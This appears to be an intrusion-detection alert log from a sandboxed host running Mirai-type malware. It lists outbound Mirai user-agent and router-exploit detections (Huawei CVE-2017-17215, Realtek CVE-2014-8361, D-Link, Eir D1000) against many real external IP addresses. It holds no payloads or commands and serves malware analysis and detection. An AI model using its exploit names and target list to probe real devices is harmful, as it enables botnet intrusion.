192.168.2.23171.4.45.20138518802846457 10/23/22-17:56:55.069504	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38518	80	192.168.2.23	171.4.45.201
192.168.2.2346.3.113.18542070802846457 10/23/22-17:58:05.661025	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42070	80	192.168.2.23	46.3.113.185
192.168.2.2384.238.211.17251832802846457 10/23/22-17:57:56.410084	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51832	80	192.168.2.23	84.238.211.172
192.168.2.2385.210.58.4753630802846457 10/23/22-17:57:31.246009	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53630	80	192.168.2.23	85.210.58.47
192.168.2.2383.140.156.11541696802846380 10/23/22-17:58:27.232677	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41696	80	192.168.2.23	83.140.156.115
192.168.2.2388.198.122.21058200802027121 10/23/22-17:57:02.444082	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58200	80	192.168.2.23	88.198.122.210
192.168.2.23206.189.124.16848686802846380 10/23/22-17:58:39.278764	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48686	80	192.168.2.23	206.189.124.168
192.168.2.232.134.160.16644262802846457 10/23/22-17:57:21.039601	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44262	80	192.168.2.23	2.134.160.166
192.168.2.2386.125.36.19355200802846380 10/23/22-17:58:19.935272	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55200	80	192.168.2.23	86.125.36.193
192.168.2.2395.216.209.13035434802027121 10/23/22-17:57:49.370080	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35434	80	192.168.2.23	95.216.209.130
192.168.2.2386.18.52.1952250802846380 10/23/22-17:57:03.509591	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52250	80	192.168.2.23	86.18.52.19
192.168.2.2385.13.189.14347472802846457 10/23/22-17:58:26.435827	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47472	80	192.168.2.23	85.13.189.143
192.168.2.235.62.37.24154112528692027339 10/23/22-17:57:35.281734	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54112	52869	192.168.2.23	5.62.37.241
192.168.2.2386.49.88.6844090802846380 10/23/22-17:57:07.231236	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44090	80	192.168.2.23	86.49.88.68
192.168.2.2395.216.137.11934560802027121 10/23/22-17:57:38.647172	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34560	80	192.168.2.23	95.216.137.119
192.168.2.2395.101.246.6035808802027121 10/23/22-17:57:21.027576	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35808	80	192.168.2.23	95.101.246.60
192.168.2.23122.117.64.9551444802846457 10/23/22-17:58:02.783091	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51444	80	192.168.2.23	122.117.64.95
192.168.2.2388.209.229.12640488802027121 10/23/22-17:57:38.611987	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40488	80	192.168.2.23	88.209.229.126
192.168.2.2395.86.107.25533514802027121 10/23/22-17:58:24.061225	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33514	80	192.168.2.23	95.86.107.255
192.168.2.2346.101.132.20257296802846457 10/23/22-17:57:53.192191	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57296	80	192.168.2.23	46.101.132.202
192.168.2.23112.80.145.19634064802027121 10/23/22-17:56:45.932630	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34064	80	192.168.2.23	112.80.145.196
192.168.2.2380.249.162.20952994802846380 10/23/22-17:57:11.381212	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52994	80	192.168.2.23	80.249.162.209
192.168.2.23213.219.238.6041306802846380 10/23/22-17:56:39.207705	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41306	80	192.168.2.23	213.219.238.60
192.168.2.2395.154.201.1749030802027121 10/23/22-17:57:28.450137	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49030	80	192.168.2.23	95.154.201.17
192.168.2.2346.109.13.1650084802846457 10/23/22-17:58:23.953618	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50084	80	192.168.2.23	46.109.13.16
192.168.2.2395.58.51.23142938802027121 10/23/22-17:58:07.450809	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42938	80	192.168.2.23	95.58.51.231
192.168.2.2388.221.232.12851092802027121 10/23/22-17:56:39.143232	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51092	80	192.168.2.23	88.221.232.128
192.168.2.23213.87.103.7847822802846380 10/23/22-17:56:47.121117	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47822	80	192.168.2.23	213.87.103.78
192.168.2.23122.252.13.12746600802846457 10/23/22-17:57:14.309344	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46600	80	192.168.2.23	122.252.13.127
192.168.2.2380.13.134.22353186802846457 10/23/22-17:57:09.737426	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53186	80	192.168.2.23	80.13.134.223
192.168.2.23156.67.251.18037570802835222 10/23/22-17:57:25.165890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37570	80	192.168.2.23	156.67.251.180
192.168.2.2383.69.237.4036548802846380 10/23/22-17:57:01.378497	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36548	80	192.168.2.23	83.69.237.40
192.168.2.2395.110.200.23234112802027121 10/23/22-17:57:52.106593	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34112	80	192.168.2.23	95.110.200.232
192.168.2.2395.107.213.9935238802027121 10/23/22-17:58:12.793297	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35238	80	192.168.2.23	95.107.213.99
192.168.2.2384.33.242.7859182802846457 10/23/22-17:57:56.404839	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59182	80	192.168.2.23	84.33.242.78
192.168.2.2361.67.14.9148966802846457 10/23/22-17:57:31.852938	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48966	80	192.168.2.23	61.67.14.91
192.168.2.2382.211.58.2960172802846380 10/23/22-17:58:06.169767	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60172	80	192.168.2.23	82.211.58.29
192.168.2.23156.240.228.13733426802841623 10/23/22-17:58:35.805001	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33426	80	192.168.2.23	156.240.228.137
192.168.2.2388.86.101.5242950802027121 10/23/22-17:58:29.901981	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42950	80	192.168.2.23	88.86.101.52
192.168.2.2385.229.82.13138664802846457 10/23/22-17:57:31.246108	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38664	80	192.168.2.23	85.229.82.131
192.168.2.23164.39.153.8258878802846457 10/23/22-17:57:22.351125	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58878	80	192.168.2.23	164.39.153.82
192.168.2.23112.196.88.2539984802027121 10/23/22-17:58:25.337026	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39984	80	192.168.2.23	112.196.88.25
192.168.2.2382.64.241.11558706802846380 10/23/22-17:58:06.155798	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58706	80	192.168.2.23	82.64.241.115
192.168.2.23213.247.42.18050126802846380 10/23/22-17:57:03.533357	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50126	80	192.168.2.23	213.247.42.180
192.168.2.2389.163.224.548962802846457 10/23/22-17:57:41.161507	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48962	80	192.168.2.23	89.163.224.5
192.168.2.235.180.211.4734354802846457 10/23/22-17:57:08.382034	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34354	80	192.168.2.23	5.180.211.47
192.168.2.2395.217.229.18236046802027121 10/23/22-17:57:49.328686	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36046	80	192.168.2.23	95.217.229.182
192.168.2.2337.1.210.24457176802846457 10/23/22-17:56:51.962090	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57176	80	192.168.2.23	37.1.210.244
192.168.2.2341.84.236.4458066802835221 10/23/22-17:57:28.583889	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	58066	80	192.168.2.23	41.84.236.44
192.168.2.2389.22.112.1160160802846457 10/23/22-17:57:55.908279	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60160	80	192.168.2.23	89.22.112.11
192.168.2.2389.165.9.5442650802846457 10/23/22-17:58:07.972110	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42650	80	192.168.2.23	89.165.9.54
192.168.2.2395.110.132.22442362802027121 10/23/22-17:58:15.281877	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42362	80	192.168.2.23	95.110.132.224
192.168.2.23169.60.175.3833006802846380 10/23/22-17:57:33.476688	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33006	80	192.168.2.23	169.60.175.38
192.168.2.23195.201.2.5543710802846457 10/23/22-17:58:30.729836	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43710	80	192.168.2.23	195.201.2.55
192.168.2.2388.114.129.16934894802027121 10/23/22-17:58:02.135809	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34894	80	192.168.2.23	88.114.129.169
192.168.2.2380.84.57.11652814802846457 10/23/22-17:56:48.732067	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52814	80	192.168.2.23	80.84.57.116
192.168.2.23156.254.40.18843532372152835222 10/23/22-17:58:24.312578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43532	37215	192.168.2.23	156.254.40.188
192.168.2.2388.99.131.20341470802027121 10/23/22-17:57:12.950604	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41470	80	192.168.2.23	88.99.131.203
192.168.2.2314.67.78.2374459475472023548 10/23/22-17:57:20.639792	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44594	7547	192.168.2.23	14.67.78.237
192.168.2.2380.90.61.3435636802846380 10/23/22-17:57:11.363885	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35636	80	192.168.2.23	80.90.61.34
192.168.2.2341.225.51.14050464802841623 10/23/22-17:58:29.466955	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50464	80	192.168.2.23	41.225.51.140
192.168.2.23181.52.121.1442868802846380 10/23/22-17:56:59.705405	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42868	80	192.168.2.23	181.52.121.14
192.168.2.23213.207.143.2444278802846380 10/23/22-17:58:00.654260	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44278	80	192.168.2.23	213.207.143.24
192.168.2.2388.221.79.1657016802027121 10/23/22-17:58:36.284301	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57016	80	192.168.2.23	88.221.79.16
192.168.2.2388.219.3.7558646802027121 10/23/22-17:58:32.666847	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58646	80	192.168.2.23	88.219.3.75
192.168.2.23178.91.185.3136860802846380 10/23/22-17:57:28.053844	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36860	80	192.168.2.23	178.91.185.31
192.168.2.23156.255.164.18741856802835221 10/23/22-17:57:28.948733	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	41856	80	192.168.2.23	156.255.164.187
192.168.2.23138.68.139.15245880802835222 10/23/22-17:57:20.079588	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45880	80	192.168.2.23	138.68.139.152
192.168.2.2386.62.28.7751294802846380 10/23/22-17:57:35.745807	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51294	80	192.168.2.23	86.62.28.77
192.168.2.23178.62.220.18543428802846380 10/23/22-17:58:13.123154	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43428	80	192.168.2.23	178.62.220.185
192.168.2.23112.169.184.6840252802027121 10/23/22-17:58:29.877211	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40252	80	192.168.2.23	112.169.184.68
192.168.2.23171.249.80.2949368802846457 10/23/22-17:56:55.071442	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49368	80	192.168.2.23	171.249.80.29
192.168.2.23213.59.118.15938696802846380 10/23/22-17:57:03.800239	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38696	80	192.168.2.23	213.59.118.159
192.168.2.23178.79.232.19243574802846380 10/23/22-17:56:55.335267	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43574	80	192.168.2.23	178.79.232.192
192.168.2.23122.114.183.8345986802846457 10/23/22-17:58:15.296734	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45986	80	192.168.2.23	122.114.183.83
192.168.2.2370.97.199.5050206802841623 10/23/22-17:57:20.420549	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50206	80	192.168.2.23	70.97.199.50
192.168.2.23213.162.240.3958180802846380 10/23/22-17:56:39.179157	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58180	80	192.168.2.23	213.162.240.39
192.168.2.2383.211.76.13152150802846380 10/23/22-17:57:01.362718	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52150	80	192.168.2.23	83.211.76.131
192.168.2.2395.216.209.13035404802027121 10/23/22-17:57:49.329098	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35404	80	192.168.2.23	95.216.209.130
192.168.2.2388.119.205.16844542802027121 10/23/22-17:58:05.254176	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44542	80	192.168.2.23	88.119.205.168
192.168.2.23178.80.80.23146182802846380 10/23/22-17:56:58.420740	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46182	80	192.168.2.23	178.80.80.231
192.168.2.23122.114.145.10049256802846457 10/23/22-17:58:10.719916	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49256	80	192.168.2.23	122.114.145.100
192.168.2.23181.48.102.21838248802846380 10/23/22-17:56:55.688528	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38248	80	192.168.2.23	181.48.102.218
192.168.2.2389.215.147.145766802846457 10/23/22-17:58:10.297398	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45766	80	192.168.2.23	89.215.147.1
192.168.2.23181.31.102.22742032802841623 10/23/22-17:57:28.350931	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42032	80	192.168.2.23	181.31.102.227
192.168.2.2388.110.178.24946188802027121 10/23/22-17:57:38.635381	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46188	80	192.168.2.23	88.110.178.249
192.168.2.2385.214.153.8736188802846457 10/23/22-17:57:16.979945	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36188	80	192.168.2.23	85.214.153.87
192.168.2.2361.110.198.2150608802846457 10/23/22-17:57:02.953879	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50608	80	192.168.2.23	61.110.198.21
192.168.2.2380.252.167.1460482802846457 10/23/22-17:57:14.346119	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60482	80	192.168.2.23	80.252.167.14
192.168.2.232.132.96.9937120802846457 10/23/22-17:57:21.038962	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37120	80	192.168.2.23	2.132.96.99
192.168.2.23169.197.116.3754568802846380 10/23/22-17:57:35.693778	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54568	80	192.168.2.23	169.197.116.37
192.168.2.2380.243.227.24739528802846380 10/23/22-17:58:29.770316	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39528	80	192.168.2.23	80.243.227.247
192.168.2.23122.51.126.5342256802846457 10/23/22-17:57:07.842400	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42256	80	192.168.2.23	122.51.126.53
192.168.2.23188.216.130.4550214802846457 10/23/22-17:58:17.729062	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50214	80	192.168.2.23	188.216.130.45
192.168.2.2388.99.246.10642012802027121 10/23/22-17:58:10.570763	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42012	80	192.168.2.23	88.99.246.106
192.168.2.23156.224.116.22736186802835222 10/23/22-17:57:06.015501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36186	80	192.168.2.23	156.224.116.227
192.168.2.2395.110.133.24659226802027121 10/23/22-17:56:58.426789	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59226	80	192.168.2.23	95.110.133.246
192.168.2.2396.85.52.16641606802841623 10/23/22-17:57:12.572108	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41606	80	192.168.2.23	96.85.52.166
192.168.2.2323.35.133.10237012802835221 10/23/22-17:56:56.766335	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	37012	80	192.168.2.23	23.35.133.102
192.168.2.2389.108.64.22843846802846457 10/23/22-17:57:37.984093	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43846	80	192.168.2.23	89.108.64.228
192.168.2.23156.241.118.18549012802841623 10/23/22-17:57:38.912493	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49012	80	192.168.2.23	156.241.118.185
192.168.2.23195.210.132.10650838802846457 10/23/22-17:58:21.698084	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50838	80	192.168.2.23	195.210.132.106
192.168.2.2395.174.100.25241648802027121 10/23/22-17:57:16.373468	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41648	80	192.168.2.23	95.174.100.252
192.168.2.2323.65.228.8447082802835222 10/23/22-17:57:23.996077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47082	80	192.168.2.23	23.65.228.84
192.168.2.2383.64.106.10246998802846380 10/23/22-17:58:25.116542	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46998	80	192.168.2.23	83.64.106.102
192.168.2.2395.38.195.9633936802027121 10/23/22-17:57:13.280847	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33936	80	192.168.2.23	95.38.195.96
192.168.2.235.185.250.4441702802846457 10/23/22-17:57:53.331513	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41702	80	192.168.2.23	5.185.250.44
192.168.2.23181.214.94.6837300802846380 10/23/22-17:57:25.146135	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37300	80	192.168.2.23	181.214.94.68
192.168.2.2388.100.26.22945878802027121 10/23/22-17:58:10.577129	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45878	80	192.168.2.23	88.100.26.229
192.168.2.23112.74.184.19739904802027121 10/23/22-17:57:28.467060	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39904	80	192.168.2.23	112.74.184.197
192.168.2.2380.15.36.25036586802846457 10/23/22-17:56:52.722301	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36586	80	192.168.2.23	80.15.36.250
192.168.2.23112.220.101.9847774802027121 10/23/22-17:57:02.452802	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	47774	80	192.168.2.23	112.220.101.98
192.168.2.235.161.109.22934188802846457 10/23/22-17:57:03.014737	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34188	80	192.168.2.23	5.161.109.229
192.168.2.23181.225.59.554386802846380 10/23/22-17:58:17.196005	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54386	80	192.168.2.23	181.225.59.5
192.168.2.2314.78.183.385053075472835222 10/23/22-17:57:03.996947	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50530	7547	192.168.2.23	14.78.183.38
192.168.2.2382.115.211.17252590802846380 10/23/22-17:57:46.395164	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52590	80	192.168.2.23	82.115.211.172
192.168.2.2385.214.129.22245272802846457 10/23/22-17:58:37.500910	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45272	80	192.168.2.23	85.214.129.222
192.168.2.23178.62.188.11246436802846380 10/23/22-17:57:49.295298	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46436	80	192.168.2.23	178.62.188.112
192.168.2.23188.119.156.19260560802846457 10/23/22-17:58:20.027477	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60560	80	192.168.2.23	188.119.156.192
192.168.2.23171.102.11.17739812802846457 10/23/22-17:57:59.885407	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39812	80	192.168.2.23	171.102.11.177
192.168.2.2389.149.36.443726802846457 10/23/22-17:58:32.898709	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43726	80	192.168.2.23	89.149.36.4
192.168.2.2389.242.182.4941844802846457 10/23/22-17:57:41.195958	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41844	80	192.168.2.23	89.242.182.49
192.168.2.2346.243.76.7733896802846457 10/23/22-17:57:41.308279	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33896	80	192.168.2.23	46.243.76.77
192.168.2.23213.188.222.15441452802846380 10/23/22-17:58:33.195794	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41452	80	192.168.2.23	213.188.222.154
192.168.2.2385.156.195.12942626802846457 10/23/22-17:58:26.409250	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42626	80	192.168.2.23	85.156.195.129
192.168.2.23200.59.89.11046412802846380 10/23/22-17:58:22.311626	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46412	80	192.168.2.23	200.59.89.110
192.168.2.2346.28.182.24840902802846457 10/23/22-17:57:53.231656	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40902	80	192.168.2.23	46.28.182.248
192.168.2.23181.63.215.10345942802846380 10/23/22-17:58:01.094882	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45942	80	192.168.2.23	181.63.215.103
192.168.2.2382.201.60.2048270802846380 10/23/22-17:57:54.140935	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48270	80	192.168.2.23	82.201.60.20
192.168.2.2395.217.14.7659074802027121 10/23/22-17:56:55.613450	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59074	80	192.168.2.23	95.217.14.76
192.168.2.2395.73.191.11444878802027121 10/23/22-17:58:07.342813	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44878	80	192.168.2.23	95.73.191.114
192.168.2.2395.56.29.23643560802027121 10/23/22-17:57:16.491821	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43560	80	192.168.2.23	95.56.29.236
192.168.2.2389.111.132.21960622802846457 10/23/22-17:57:38.036319	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60622	80	192.168.2.23	89.111.132.219
192.168.2.23206.72.202.13055330802846380 10/23/22-17:57:38.059088	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55330	80	192.168.2.23	206.72.202.130
192.168.2.23213.162.197.16635730802846380 10/23/22-17:57:37.880943	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35730	80	192.168.2.23	213.162.197.166
192.168.2.23164.138.119.20657258802846457 10/23/22-17:57:22.372922	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57258	80	192.168.2.23	164.138.119.206
192.168.2.2388.219.1.21743922802027121 10/23/22-17:57:49.369890	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43922	80	192.168.2.23	88.219.1.217
192.168.2.2380.6.243.3151034802846457 10/23/22-17:58:13.033376	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51034	80	192.168.2.23	80.6.243.31
192.168.2.2388.99.57.23060274802027121 10/23/22-17:56:39.185487	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60274	80	192.168.2.23	88.99.57.230
192.168.2.2388.245.189.23942276802027121 10/23/22-17:57:13.009842	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42276	80	192.168.2.23	88.245.189.239
192.168.2.23171.244.21.7951536802846457 10/23/22-17:57:59.905446	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51536	80	192.168.2.23	171.244.21.79
192.168.2.23213.239.228.16541056802846380 10/23/22-17:57:18.571730	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41056	80	192.168.2.23	213.239.228.165
192.168.2.2380.228.114.9133376802846457 10/23/22-17:57:09.718912	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33376	80	192.168.2.23	80.228.114.91
192.168.2.2395.163.71.19233298802027121 10/23/22-17:57:36.430915	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33298	80	192.168.2.23	95.163.71.192
192.168.2.2395.179.137.11939670802027121 10/23/22-17:58:30.348385	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39670	80	192.168.2.23	95.179.137.119
192.168.2.23122.100.164.7734924802846457 10/23/22-17:57:14.320779	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34924	80	192.168.2.23	122.100.164.77
192.168.2.2385.128.138.15259646802846457 10/23/22-17:58:01.351303	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59646	80	192.168.2.23	85.128.138.152
192.168.2.2346.23.193.6955262802846457 10/23/22-17:57:41.525899	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55262	80	192.168.2.23	46.23.193.69
192.168.2.23188.85.68.20160890802846457 10/23/22-17:57:00.353134	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60890	80	192.168.2.23	188.85.68.201
192.168.2.2395.128.107.23245948802027121 10/23/22-17:58:17.321235	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45948	80	192.168.2.23	95.128.107.232
192.168.2.2395.249.98.19141282802027121 10/23/22-17:56:58.424234	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41282	80	192.168.2.23	95.249.98.191
192.168.2.2388.12.6.7852856802027121 10/23/22-17:57:05.217651	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52856	80	192.168.2.23	88.12.6.78
192.168.2.23210.129.51.3237650802841623 10/23/22-17:57:20.813133	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37650	80	192.168.2.23	210.129.51.32
192.168.2.2388.99.14.9836362802027121 10/23/22-17:57:02.421011	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36362	80	192.168.2.23	88.99.14.98
